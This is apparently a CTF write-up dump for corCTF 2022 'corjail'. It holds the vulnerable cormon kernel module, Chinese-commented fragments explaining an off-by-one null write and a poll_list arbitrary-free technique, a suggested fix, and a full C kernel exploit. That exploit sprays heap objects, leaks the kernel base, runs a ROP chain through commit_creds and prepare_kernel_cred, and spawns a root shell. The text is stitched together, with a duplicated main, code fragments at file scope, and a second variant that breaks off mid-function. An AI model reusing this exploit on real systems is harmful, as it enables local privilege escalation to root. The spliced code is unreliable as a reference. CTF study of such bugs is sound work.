// code from https://github.com/bsauce/CTF/blob/master/corCTF-2022-corjail-poll_list/module/cormon.c
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/slab.h>
#include <linux/types.h>
#include <linux/seq_file.h>
#include <trace/syscall.h>
#include <asm/syscall.h>
#include <asm/ftrace.h>

MODULE_AUTHOR("D3v17");
MODULE_LICENSE("GPL");

extern struct syscall_metadata *syscall_nr_to_meta(int nr);
extern const char *get_syscall_name(int syscall_nr);

static int get_syscall_nr(char *sc);
static int update_filter(char *syscalls);
static int cormon_proc_open(struct inode *inode, struct  file *file);
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf,size_t count, loff_t *ppos);
static void *cormon_seq_start(struct seq_file *seqfile, loff_t *pos);
static void *cormon_seq_next(struct seq_file *seqfile, void *v, loff_t *pos);
static void cormon_seq_stop(struct seq_file *seqfile, void *v);
static int cormon_seq_show(struct seq_file *f, void *ppos);
static int init_procfs(void);
static void cleanup_procfs(void);

DECLARE_PER_CPU(u64[NR_syscalls], __per_cpu_syscall_count);

static uint8_t filter[NR_syscalls];
static struct proc_dir_entry *cormon;
static char initial_filter[] = "sys_execve,sys_execveat,sys_fork,sys_keyctl,sys_msgget,sys_msgrcv,sys_msgsnd,sys_poll,sys_ptrace,sys_setxattr,sys_unshare";


static const struct proc_ops cormon_proc_ops = {
    .proc_open  = cormon_proc_open,
    .proc_read  = seq_read,
    .proc_write = cormon_proc_write
};


static struct seq_operations cormon_seq_ops = {
    .start  = cormon_seq_start,
    .next   = cormon_seq_next,
    .stop   = cormon_seq_stop,
    .show   = cormon_seq_show
};


static int get_syscall_nr(char *sc)
{
    struct syscall_metadata *entry;
    int nr;

    for (nr = 0; nr < NR_syscalls; nr++)
    {
        entry = syscall_nr_to_meta(nr);

        if (!entry)
            continue;

        if (arch_syscall_match_sym_name(entry->name, sc))
            return nr;
    }

    return -EINVAL;
}


static int update_filter(char *syscalls)
{
    uint8_t new_filter[NR_syscalls] = { 0 };
    char *name;
    int nr;

    while ((name = strsep(&syscalls, ",")) != NULL || syscalls != NULL)
    {
        nr = get_syscall_nr(name);

        if (nr < 0)
        {
            printk(KERN_ERR "[CoRMon::Error] Invalid syscall: %s!\n", name);
            return -EINVAL;
        }

        new_filter[nr] = 1;
    }

    memcpy(filter, new_filter, sizeof(filter));

    return 0;
}


static int cormon_proc_open(struct inode *inode, struct  file *file)
{
    return seq_open(file, &cormon_seq_ops);
}


static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos)
{
    loff_t offset = *ppos;
    char *syscalls;
    size_t len;

    if (offset < 0)
        return -EINVAL;

    if (offset >= PAGE_SIZE || !count)
        return 0;

    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;

    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

    if (!syscalls)
    {
        printk(KERN_ERR "[CoRMon::Error] kmalloc() call failed!\n");
        return -ENOMEM;
    }

    if (copy_from_user(syscalls, ubuf, len))
    {
        printk(KERN_ERR "[CoRMon::Error] copy_from_user() call failed!\n");
        return -EFAULT;
    }

    syscalls[len] = '\x00';

    if (update_filter(syscalls))
    {
        kfree(syscalls);
        return -EINVAL;
    }

    kfree(syscalls);

    return count;
}


static void *cormon_seq_start(struct seq_file *s, loff_t *pos)
{
    return *pos > NR_syscalls ? NULL : pos;
}


static void *cormon_seq_next(struct seq_file *s, void *v, loff_t *pos)
{
    return (*pos)++ > NR_syscalls ? NULL : pos;
}


static void cormon_seq_stop(struct seq_file *s, void *v)
{
    return;
}


static int cormon_seq_show(struct seq_file *s, void *pos)
{
    loff_t nr = *(loff_t *)pos;
    const char *name;
    int i;

    if (nr == 0)
    {
        seq_putc(s, '\n');

        for_each_online_cpu(i)
            seq_printf(s, "%9s%d", "CPU", i);

        seq_printf(s, "\tSyscall (NR)\n\n");
    }

    if (filter[nr])
    {
        name = get_syscall_name(nr);

        if (!name)
            return 0;

        for_each_online_cpu(i)
            seq_printf(s, "%10llu", per_cpu(__per_cpu_syscall_count, i)[nr]);

        seq_printf(s, "\t%s (%lld)\n", name, nr);
    }

    if (nr == NR_syscalls)
        seq_putc(s, '\n');

    return 0;
}


static int init_procfs(void)
{
    printk(KERN_INFO "[CoRMon::Init] Initializing module...\n");

    cormon = proc_create("cormon", 0666, NULL, &cormon_proc_ops);

    if (!cormon)
    {
        printk(KERN_ERR "[CoRMon::Error] proc_create() call failed!\n");
        return -ENOMEM;
    }

    if (update_filter(initial_filter))
        return -EINVAL;

    printk(KERN_INFO "[CoRMon::Init] Initialization complete!\n");

    return 0;
}


static void cleanup_procfs(void)
{
    printk(KERN_INFO "[CoRMon::Exit] Cleaning up...\n");

    remove_proc_entry("cormon", NULL);

    printk(KERN_INFO "[CoRMon::Exit] Cleanup done, bye!\n");
}


module_init(init_procfs);
module_exit(cleanup_procfs);

static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf,
                                 size_t count, loff_t *ppos)
{
    loff_t offset = *ppos;
    char *syscalls;
    size_t len;

    // 边界检查逻辑
    if (offset < 0)
        return -EINVAL;
    if (offset >= PAGE_SIZE || !count)
        return 0;

    // 关键漏洞点：当count等于PAGE_SIZE时，len = PAGE_SIZE
    len = count > PAGE_SIZE ? PAGE_SIZE - 1 : count;

    // 分配恰好PAGE_SIZE字节的缓冲区
    syscalls = kmalloc(PAGE_SIZE, GFP_ATOMIC);
    printk(KERN_INFO "[CoRMon::Debug] Syscalls @ %#llx\n", (uint64_t)syscalls);

    if (!syscalls)
        return -ENOMEM;

    // 从用户空间复制数据
    if (copy_from_user(syscalls, ubuf, len))
        return -EFAULT;

    // 漏洞触发点：当len = PAGE_SIZE时，越界写入一个空字节
    syscalls[len] = '\x00';

    if (update_filter(syscalls))
    {
        kfree(syscalls);
        return -EINVAL;
    }

    kfree(syscalls);
    return count;
}

static int do_sys_poll(struct pollfd __user *ufds, unsigned int nfds,
        struct timespec64 *end_time)
{
    // 栈上预分配空间，存放前N_STACK_PPS个pollfd
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
    struct poll_list *const head = (struct poll_list *)stack_pps;
    struct poll_list *walk = head;
    unsigned long todo = nfds;

    // 计算第一个poll_list的长度
    len = min_t(unsigned int, nfds, N_STACK_PPS);

    for (;;) {
        walk->next = NULL;
        walk->len = len;
        if (!len)
            break;

        // 复制用户空间数据
        if (copy_from_user(walk->entries, ufds + nfds - todo,
                    sizeof(struct pollfd) * walk->len))
            goto out_fds;

        todo -= walk->len;
        if (!todo)
            break;

        // 动态分配后续的poll_list
        len = min(todo, POLLFD_PER_PAGE);
        walk = walk->next = kmalloc(struct_size(walk, entries, len),
                        GFP_KERNEL);
        if (!walk) {
            err = -ENOMEM;
            goto out_fds;
        }
    }

    // ... poll处理逻辑 ...

    // 释放动态分配的poll_list
out_fds:
    walk = head->next;
    while (walk) {
        struct poll_list *pos = walk;
        walk = walk->next;
        kfree(pos);
    }
    return err;
}

struct poll_list {
    struct poll_list *next;    // 指向下一个poll_list，8字节
    int len;                   // 当前poll_list中pollfd的数量，4字节
    int padding;               // 填充字节，4字节（64位系统）
    struct pollfd entries[];   // 可变数组，存储pollfd结构
};

// 每次分配user_key_payload前执行
char zero_buf[32] = {0};
setxattr("/home/ctf/lol.txt", "user.x", zero_buf, 32, XATTR_CREATE);
// 此时kmalloc-32缓存的前8字节被清零
// 接着分配user_key_payload，其rcu_head字段为0

walk = head->next;  // walk = poll_list1
while (walk) {
    struct poll_list *pos = walk;      // pos = poll_list1
    walk = walk->next;                 // walk = 修改后的next指针 = key72
    kfree(pos);                        // 释放poll_list1
}
// 继续循环
pos = key72;                           // 被错误当作poll_list
// 关键：key72->rcu_head = 0 (通过setxattr预先清零)
walk = key72->next;                    // walk = 0，循环终止
kfree(pos);                            // 错误释放key72

uint64_t find_kernel_base(int *key_ids, int key_count) {
    char buffer[8];
    uint64_t leaked_addr;

    for (int i = 0; i < key_count; i++) {
        ssize_t len = syscall(__NR_keyctl, KEYCTL_READ, key_ids[i], buffer, 8);
        if (len != 8) continue;

        leaked_addr = *(uint64_t*)buffer;

        // 验证泄露地址的特征
        if ((leaked_addr & 0xFFF) != (PROC_SINGLE_SHOW_OFFSET & 0xFFF))
            continue;

        if (leaked_addr < 0xffffffff80000000 || leaked_addr > 0xffffffffc0000000)
            continue;

        uint64_t kernel_base = leaked_addr - PROC_SINGLE_SHOW_OFFSET;

        if (kernel_base >= 0xffffffff80000000 && kernel_base <= 0xffffffffbfe00000) {
            return kernel_base;
        }
    }
    return 0;
}

// 修复方案1：精确边界检查
static ssize_t cormon_proc_write(struct file *file, const char __user *ubuf,
                                 size_t count, loff_t *ppos)
{
    // ... 原有代码 ...

    // 修复：确保len总是小于PAGE_SIZE
    len = min(count, PAGE_SIZE - 1);

    // 修复：分配len+1字节，为字符串终止符预留空间
    syscalls = kmalloc(len + 1, GFP_KERNEL);
    if (!syscalls)
        return -ENOMEM;

    if (copy_from_user(syscalls, ubuf, len)) {
        kfree(syscalls);
        return -EFAULT;
    }

    // 安全：不会越界
    syscalls[len] = '\0';

    // ... 后续代码 ...
}

/* ROP Gadgets */
#define ADD_RSP_0X160_RET 0xffffffff810df944
#define POP_RDI_RET 0xffffffff810017b9
#define POP_RCX_POP_RBX_POP_RBP_RET 0xffffffff8155da09
#define MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET 0xffffffff81a442bb

/* Kernel Symbols */
#define PREPARE_KERNEL_CRED 0xffffffff810f2fa0
#define COMMIT_CREDS 0xffffffff810f2d10
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00ef0
#define PROC_SINGLE_SHOW 0xffffffff8133ef70

/* Memory Layout Constants */
#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16

/* Calculate number of pollfds based on poll_list size */
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS)

/* Global Variables */
pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

uint64_t proc_single_show;
int seq_ops[0x10000];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;
int victim_fd;

/* ROP gadget addresses */
static size_t commit_creds;
static size_t prepare_kernel_cred;
static size_t swapgs_restore_regs_and_return_to_usermode;
static size_t pop_rdi_ret;
static size_t pop_rcx_pop_rbx_pop_rbp_ret;
static size_t mov_rdi_rax_rep_movsq_rdi_rsi_ret;

/* Thread arguments structure */
struct t_args {
    int id;
    int nfds;
    int timer;
    bool suspend;
};

/* Key payload structure */
struct rcu_head {
    void *next;
    void *func;
};

struct user_key_payload {
    struct rcu_head rcu;
    unsigned short datalen;
    char *data[];
};

/* poll_list structure for SLUB spraying */
struct poll_list {
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};

/* Utility Functions */
bool is_kernel_pointer(uint64_t addr) {
    return ((addr & KERNEL_MASK) == KERNEL_MASK);
}

int randint(int min, int max) {
    return min + (rand() % (max - min));
}

void init_fd(int i) {
    fds[i] = open("/etc/passwd", O_RDONLY);
    if (fds[i] < 0) {
        log.error("Failed to open /etc/passwd");
        exit(-1);
    }
}

/* Spray seq_operations in kmalloc-32 cache */
void alloc_seq_ops(int i) {
    seq_ops[i] = open("/proc/self/stat", O_RDONLY);
    if (seq_ops[i] < 0) {
        log.error("Failed to open /proc/self/stat");
        exit(-1);
    }
}

/* Spray user_key_payload in kmalloc-32 cache */
int alloc_key(int id, char *buff, size_t size) {
    char desc[256] = {0};
    char *payload;
    int key;

    size -= sizeof(struct user_key_payload);
    sprintf(desc, "payload_%d", id);
    payload = buff ? buff : calloc(1, size);
    if (!buff) {
        memset(payload, id, size);
    }

    key = key_alloc(desc, payload, size);
    if (key < 0) {
        log.error("Failed to allocate key[%d]", id);
        return -1;
    }

    return key;
}

/* Spray poll_list objects via poll() syscall */
void *alloc_poll_list(void *args) {
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id = ((struct t_args *)args)->id;
    nfds = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));
    for (int i = 0; i < nfds; i++) {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    bind_thread_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    int ret = poll(pfds, nfds, timer);
    bind_thread_core(randint(1, 3));

    if (suspend) {
        pthread_mutex_lock(&mutex);
        poll_threads--;
        pthread_mutex_unlock(&mutex);

        while (1) {
            sleep(1);
        }
    }

    return NULL;
}

/* Create poll spray thread */
void create_poll_thread(int id, size_t size, int timer, bool suspend) {
    struct t_args *args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE) {
        size = size - ((size / PAGE_SIZE) * sizeof(struct poll_list));
    }

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}

/* Wait for poll threads to complete */
void join_poll_threads(void) {
    for (int i = 0; i < poll_threads; i++) {
        pthread_join(poll_tid[i], NULL);
        open("/proc/self/stat", O_RDONLY);
    }
    poll_threads = 0;
}

/* Read key payload data */
char *get_key(int i, size_t size) {
    char *data = calloc(1, size);
    key_read(keys[i], data, size);
    return data;
}

/* Leak kernel pointer from corrupted key payload */
int leak_kernel_pointer(void) {
    uint64_t *leak;
    char *key;

    for (int i = 0; i < n_keys; i++) {
        key = get_key(i, 0x10000);
        leak = (uint64_t *)key;

        if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0xf70) {
            corrupted_key = i;
            proc_single_show = *leak;
            kernel_offset = proc_single_show - PROC_SINGLE_SHOW;
            kernel_base += kernel_offset;

            log.success("Found corrupted user_key_payload at index: %d", corrupted_key);
            log.success("Kernel base: 0x%llx", kernel_base);
            log.success("Kernel offset: 0x%llx", kernel_offset);

            free(key);
            return 0;
        }
        free(key);
    }
    return -1;
}

/* Free all keys (skip corrupted key) */
void free_all_keys(bool skip_corrupted_key) {
    int total = n_keys;
    for (int i = 0; i < total; i++) {
        if (skip_corrupted_key && i == corrupted_key) {
            continue;
        }
        key_revoke(keys[i]);
        key_unlink(keys[i]);
        n_keys--;
    }
    sleep(1);  /* Wait for RCU garbage collection */
}

/* Exploit trigger function */
char victim_data[0x10] = {0};
static void trigger_exploit_chain(void) {
  __asm__ volatile("mov r15,   pop_rdi_ret;"
                   "mov r14,   0;"
                   "mov r13,   prepare_kernel_cred;"
                   "mov r12,   pop_rcx_pop_rbx_pop_rbp_ret;"
                   "mov rbp,   0;"
                   "mov rbx,   0x55555555;"
                   "mov r11,   0x66666666;"
                   "mov r10,   mov_rdi_rax_rep_movsq_rdi_rsi_ret;"
                   "mov r9,    commit_creds;"
                   "mov r8,    swapgs_restore_regs_and_return_to_usermode;"
                   "xor rax,   rax;"
                   "mov rcx,   0xaaaaaaaa;"
                   "mov rdx,   8;"
                   "lea rsi,   victim_data;"
                   "mov rdi,   victim_fd;"
                   "syscall");
}

/* Main exploit routine */
int main() {
    char data[0x1000] = {0};
    char key[32] = {0};
    int i = 0;

    /* ===================================================================== */
    /* Phase 0: Initialization                                               */
    /* ===================================================================== */
    log.info("=== Kernel UAF Exploit: Off-by-one in poll_list leading to ROP ===");

    bind_core(0);
    save_status();

    /* Create xattr target file for user_key_payload spraying */
    system("touch /home/ctf/lol.txt");

    /* Open vulnerable module */
    fd = open("/proc/cormon", O_RDWR);
    if (fd < 0) {
        log.error("Failed to open vulnerable module /proc/cormon");
        return -1;
    }

    /* Prepare file descriptor for poll() */
    init_fd(0);

    /* ===================================================================== */
    /* Phase 1: Kernel Base Address Leak via seq_operations->single_show   */
    /* ===================================================================== */
    log.info("[Phase 1] Kernel Base Address Leak via seq_operations->single_show");

    /* Step 1-1: Spray 2048 seq_operations objects (kmalloc-32) */
    log.info("[1-1] Spraying 2048 seq_operations objects in kmalloc-32 cache");
    for (i = 0; i < 2048; i++) {
        alloc_seq_ops(i);
    }

    /* Step 1-2: Spray 72 user_key_payload objects (kmalloc-32) */
    log.info("[1-2] Spraying 72 user_key_payload objects in kmalloc-32 cache");
    for (i = 0; i < 72; i++) {
        setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    /* Step 1-3: Spray 14 poll_list objects (kmalloc-4096 + kmalloc-32) */
    bind_core(randint(1, 3));
    log.info("[1-3] Spraying 14 poll_list objects (kmalloc-4096 + kmalloc-32) for UAF");
    for (i = 0; i < 14; i++) {
        create_poll_thread(i, 4096 + 24, 3000, false);
    }

    bind_core(0);
    while (poll_threads != 14) {};
    usleep(250000);

    /* Step 1-4: Spray remaining 127 user_key_payload to fill key quota (199 total) */
    log.info("[1-4] Spraying remaining 127 user_key_payload objects (total 199)");
    for (i = 72; i < MAX_KEYS; i++) {
        setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    /* Step 1-5: Trigger off-by-one overflow in poll_list to corrupt user_key_payload->datalen */
    log.info("[1-5] Triggering off-by-one overflow in poll_list to corrupt user_key_payload->datalen");
    write(fd, data, PAGE_SIZE);

    /* Step 1-6: Arbitrary free via poll_list deallocation (frees user_key_payload) */
    log.info("[1-6] Triggering arbitrary free via poll_list deallocation (frees user_key_payload)");
    join_poll_threads();

    /* Step 1-7: Overwrite freed user_key_payload with 128 seq_operations */
    log.info("[1-7] Overwriting freed user_key_payload with 128 seq_operations");
    for (i = 2048; i < 2048 + 128; i++) {
        alloc_seq_ops(i);
    }

    /* Step 1-8: Leak kernel pointer from seq_operations->single_show */
    log.info("[1-8] Leaking kernel pointer via seq_operations->single_show");
    if (leak_kernel_pointer() < 0) {
        log.error("Kernel pointer leak via seq_operations->single_show failed");
        exit(-1);
    }

    /* ===================================================================== */
    /* Phase 2: ROP Chain Execution                                          */
    /* ===================================================================== */
    log.info("[Phase 2] ROP Chain Execution for Privilege Escalation");

    /* Step 2-1: Free all keys and prepare for ROP chain */
    log.info("[2-1] Freeing all keys and preparing for ROP chain construction");
    free_all_keys(false);
    sleep(2);

    /* Step 2-2: Calculate ROP gadget addresses for privilege escalation */
    log.info("[2-2] Calculating ROP gadget and kernel function addresses");
    prepare_kernel_cred = kernel_offset + PREPARE_KERNEL_CRED;
    commit_creds = kernel_offset + COMMIT_CREDS;
    swapgs_restore_regs_and_return_to_usermode = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x1e;
    pop_rdi_ret = kernel_offset + POP_RDI_RET;
    pop_rcx_pop_rbx_pop_rbp_ret = kernel_offset + POP_RCX_POP_RBX_POP_RBP_RET;
    mov_rdi_rax_rep_movsq_rdi_rsi_ret = kernel_offset + MOV_RDI_RAX_REP_MOVSQ_RDI_RSI_RET;

    /* Step 2-3: Spray keys with stack pivot gadget for ROP chain */
    log.info("[2-3] Spraying keys with stack pivot gadget");
    *(uint64_t *)&data[0] = kernel_offset + ADD_RSP_0X160_RET;
    for (i = 0; i < MAX_KEYS; i++) {
        setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);
        keys[i] = alloc_key(n_keys++, key, 32);
    }

    /* Step 2-4: Trigger ROP chain execution in child processes */
    log.info("[2-4] Triggering ROP chain execution in 128 child processes");
    for (i = 2048; i < 2048 + 128; i++) {
        victim_fd = seq_ops[i];
        int pid = fork();
        if (pid < 0) {
            log.error("Failed to fork child process");
            exit(EXIT_FAILURE);
        }
        if (pid == 0) {
            trigger_exploit_chain();
            if (getuid() == 0) {
                get_root_shell();
            }
            exit(EXIT_SUCCESS);
        }
    }

    /* Wait for child processes to complete */
    while (wait(NULL) > 0)
      ;

    log.error("Exploit failed to obtain root privileges");
    return EXIT_FAILURE;
}

/* 主函数初始化部分 */
int main() {
    char data[0x1000] = {0};
    char key[32] = {0};
    int i = 0;

    /* CPU核心绑定确保内存分配可预测性 */
    bind_core(0);
    save_status();

    /* 创建扩展属性操作目标文件 */
    system("touch /home/ctf/lol.txt");

    /* 打开存在边界检查问题的内核模块 */
    fd = open("/proc/cormon", O_RDWR);
    if (fd < 0) {
        log.error("Failed to open target module /proc/cormon");
        return -1;
    }

    /* 准备poll系统调用所需的文件描述符 */
    init_fd(0);
}

/* 分配2048个seq_operations对象预热kmalloc-32缓存 */
for (i = 0; i < 2048; i++) {
    alloc_seq_ops(i);
}

/* 分配72个user_key_payload对象构造目标布局 */
for (i = 0; i < 72; i++) {
    setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);
    keys[i] = alloc_key(n_keys++, key, 32);
}

/* 创建跨缓存poll_list链表结构 */
bind_core(randint(1, 3));
for (i = 0; i < 14; i++) {
    create_poll_thread(i, 4096 + 24, 3000, false);
}

walk = head->next;
while (walk) {
    struct poll_list *pos = walk;
    walk = walk->next;
    kfree(pos);
}

/* 触发内存边界操作 */
write(fd, data, PAGE_SIZE);

/* 触发poll超时释放流程 */
join_poll_threads();

/* poll释放过程的详细模拟 */
walk = head->next;  // walk = poll_list1地址
while (walk) {
    struct poll_list *pos = walk;      // pos = poll_list1
    walk = walk->next;                 // walk = 调整后的next = key72地址
    kfree(pos);                        // 正确释放poll_list1
}
// 循环继续执行
pos = key72;                           // 被误判为poll_list结构
walk = key72->next;                    // walk = 0（rcu_head已被预清零）
kfree(pos);                            // 非常规释放key72

/* 分配seq_operations重用被释放内存区域 */
for (i = 2048; i < 2048 + 128; i++) {
    alloc_seq_ops(i);
}

/* 系统地址信息获取实现 */
int leak_kernel_pointer(void) {
    uint64_t *leak;
    char *key;

    for (int i = 0; i < n_keys; i++) {
        key = get_key(i, 0x10000);
        leak = (uint64_t *)key;

        /* 验证获取地址的多重特征 */
        if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0xf70) {
            corrupted_key = i;
            proc_single_show = *leak;
            kernel_offset = proc_single_show - PROC_SINGLE_SHOW;
            kernel_base += kernel_offset;

            log.success("发现目标user_key_payload对象索引: %d", corrupted_key);
            log.success("计算得到内核基址: 0x%llx", kernel_base);
            log.success("计算得到内核偏移: 0x%llx", kernel_offset);

            free(key);
            return 0;
        }
        free(key);
    }
    return -1;
}

/* 初始化kmalloc-32缓存前8字节 */
char zero_buf[32] = {0};
setxattr("/home/ctf/lol.txt", "user.x", zero_buf, 32, XATTR_CREATE);

/* 设置控制流调整组件地址 */
*(uint64_t *)&data[0] = kernel_offset + ADD_RSP_0X160_RET;
setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);

/* 释放所有user_key_payload对象 */
free_all_keys(false);
sleep(2);  /* 等待RCU垃圾回收机制完成 */

/* 计算控制流调整组件实际地址 */
prepare_kernel_cred = kernel_offset + PREPARE_KERNEL_CRED;
commit_creds = kernel_offset + COMMIT_CREDS;
swapgs_restore_regs_and_return_to_usermode = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x1e;
pop_rdi_ret = kernel_offset + POP_RDI_RET;

/* 设置栈调整组件地址 */
*(uint64_t *)&data[0] = kernel_offset + ADD_RSP_0X160_RET;

/* 重新分配user_key_payload构建控制结构 */
for (i = 0; i < MAX_KEYS; i++) {
    setxattr("/home/ctf/lol.txt", "user.x", data, 32, XATTR_CREATE);
    keys[i] = alloc_key(n_keys++, key, 32);
}

/* 在128个子进程中并发执行控制流调整 */
for (i = 2048; i < 2048 + 128; i++) {
    victim_fd = seq_ops[i];
    int pid = fork();
    if (pid == 0) {
        trigger_exploit_chain();
        if (getuid() == 0) {
            get_root_shell();
        }
        exit(EXIT_SUCCESS);
    }
}

static void trigger_exploit_chain(void) {
  __asm__ volatile("mov r15,   pop_rdi_ret;"      /* 准备参数pop组件地址 */
                   "mov r14,   0;"                /* prepare_kernel_cred参数值 */
                   "mov r13,   prepare_kernel_cred;" /* 创建凭证函数地址 */
                   "mov r12,   pop_rcx_pop_rbx_pop_rbp_ret;" /* 中间组件地址 */
                   "mov rbp,   0;"                /* 寄存器初始化值 */
                   "mov rbx,   0x55555555;"       /* 寄存器初始化值 */
                   "mov r11,   0x66666666;"       /* 寄存器初始化值 */
                   "mov r10,   mov_rdi_rax_rep_movsq_rdi_rsi_ret;" /* 传递返回值组件地址 */
                   "mov r9,    commit_creds;"     /* 应用凭证函数地址 */
                   "mov r8,    swapgs_restore_regs_and_return_to_usermode;" /* 返回用户空间组件地址 */
                   "xor rax,   rax;"              /* 清零rax寄存器 */
                   "mov rcx,   0xaaaaaaaa;"       /* 寄存器初始化值 */
                   "mov rdx,   8;"                /* 读取数据长度 */
                   "lea rsi,   victim_data;"      /* 目标缓冲区地址 */
                   "mov rdi,   victim_fd;"        /* 文件描述符 */
                   "syscall");                    /* 触发read系统调用 */
}

/* Kernel Symbols */
#define COMMIT_CREDS 0xffffffff810f2d10
#define INIT_CRED 0xffffffff8245abc0
#define WORK_FOR_CPU_FN 0xffffffff810e4650
#define PROC_SINGLE_SHOW 0xffffffff8133ef70

/* Memory Layout Constants */
#define HEAP_MASK 0xffff000000000000
#define KERNEL_MASK 0xffffffff00000000
#define PAGE_SIZE 4096
#define MAX_KEYS 199
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16

/* Calculate number of pollfds based on poll_list size */
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS)

/* Global Variables */
pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;

uint64_t proc_single_show;
uint64_t target_object;

int seq_ops[0x10000];
int ptmx[0x1000];
int fds[0x1000];
int keys[0x1000];
int corrupted_key;
int n_keys;
int fd;

/* Thread arguments structure */
struct t_args {
    int id;
    int nfds;
    int timer;
    bool suspend;
};

/* Key payload structure */
struct rcu_head {
    void *next;
    void *func;
};

struct user_key_payload {
    struct rcu_head rcu;
    unsigned short datalen;
    char *data[];
};

/* poll_list structure for SLUB spraying */
struct poll_list {
    struct poll_list *next;
    int len;
    struct pollfd entries[];
};

/* Utility Functions */
bool is_kernel_pointer(uint64_t addr) {
    return ((addr & KERNEL_MASK) == KERNEL_MASK);
}

bool is_heap_pointer(uint64_t addr) {
    return ((addr & HEAP_MASK) == HEAP_MASK) && !is_kernel_pointer(addr);
}

int randint(int min, int max) {
    return min + (rand() % (max - min));
}

void init_fd(int i) {
    fds[i] = open("/etc/passwd", O_RDONLY);
    if (fds[i] < 0) {
        log.error("Failed to open /etc/passwd");
        exit(-1);
    }
}

/* Spray seq_operations in kmalloc-32 cache */
void alloc_seq_ops(int i) {
    seq_ops[i] = open("/proc/self/stat", O_RDONLY);
    if (seq_ops[i] < 0) {
        log.error("Failed to open /proc/self/stat");
        exit(-1);
    }
}

/* Spray user_key_payload in kmalloc-32 cache */
int alloc_key(int id, char *buff, size_t size) {
    char desc[256] = {0};
    char *payload;
    int key;

    size -= sizeof(struct user_key_payload);
    sprintf(desc, "payload_%d", id);
    payload = buff ? buff : calloc(1, size);
    if (!buff) {
        memset(payload, id, size);
    }

    key = key_alloc(desc, payload, size);
    if (key < 0) {
        log.error("Failed to allocate key[%d]", id);
        return -1;
    }

    return key;
}

/* Spray poll_list objects via poll() syscall */
void *alloc_poll_list(void *args) {
    struct pollfd *pfds;
    int nfds, timer, id;
    bool suspend;

    id = ((struct t_args *)args)->id;
    nfds = ((struct t_args *)args)->nfds;
    timer = ((struct t_args *)args)->timer;
    suspend = ((struct t_args *)args)->suspend;

    pfds = calloc(nfds, sizeof(struct pollfd));
    for (int i = 0; i < nfds; i++) {
        pfds[i].fd = fds[0];
        pfds[i].events = POLLERR;
    }

    bind_thread_core(0);

    pthread_mutex_lock(&mutex);
    poll_threads++;
    pthread_mutex_unlock(&mutex);

    int ret = poll(pfds, nfds, timer);
    bind_thread_core(randint(1, 3));

    if (suspend) {
        pthread_mutex_lock(&mutex);
        poll_threads--;
        pthread_mutex_unlock(&mutex);

        while (1) {
            sleep(1);
        }
    }

    return NULL;
}

/* Create poll spray thread */
void create_poll_thread(int id, size_t size, int timer, bool suspend) {
    struct t_args *args = calloc(1, sizeof(struct t_args));

    if (size > PAGE_SIZE) {
        size = size - ((size / PAGE_SIZE) * sizeof(struct poll_list));
    }

    args->id = id;
    args->nfds = NFDS(size);
    args->timer = timer;
    args->suspend = suspend;

    pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}

/* Wait for poll threads to complete */
void join_poll_threads(void) {
    for (int i = 0; i < poll_threads; i++) {
        pthread_join(poll_tid[i], NULL);
        open("/proc/self/stat", O_RDONLY);
    }
    poll_threads = 0;
}

/* Read key payload data */
char *get_key(int i, size_t size) {
    char *data = calloc(1, size);
    key_read(keys[i], data, size);
    return data;
}

/* Leak kernel pointer from corrupted key payload */
int leak_kernel_pointer(void) {
    uint64_t *leak;
    char *key;

    for (int i = 0; i < n_keys; i++) {
        key = get_key(i, 0x10000);
        leak = (uint64_t *)key;

        if (is_kernel_pointer(*leak) && (*leak & 0xfff) == 0xf70) {
            corrupted_key = i;
            proc_single_show = *leak;
            kernel_offset = proc_single_show - PROC_SINGLE_SHOW;
            kernel_base += kernel_offset;

            log.success("Found corrupted user_key_payload at index: %d", corrupted_key);
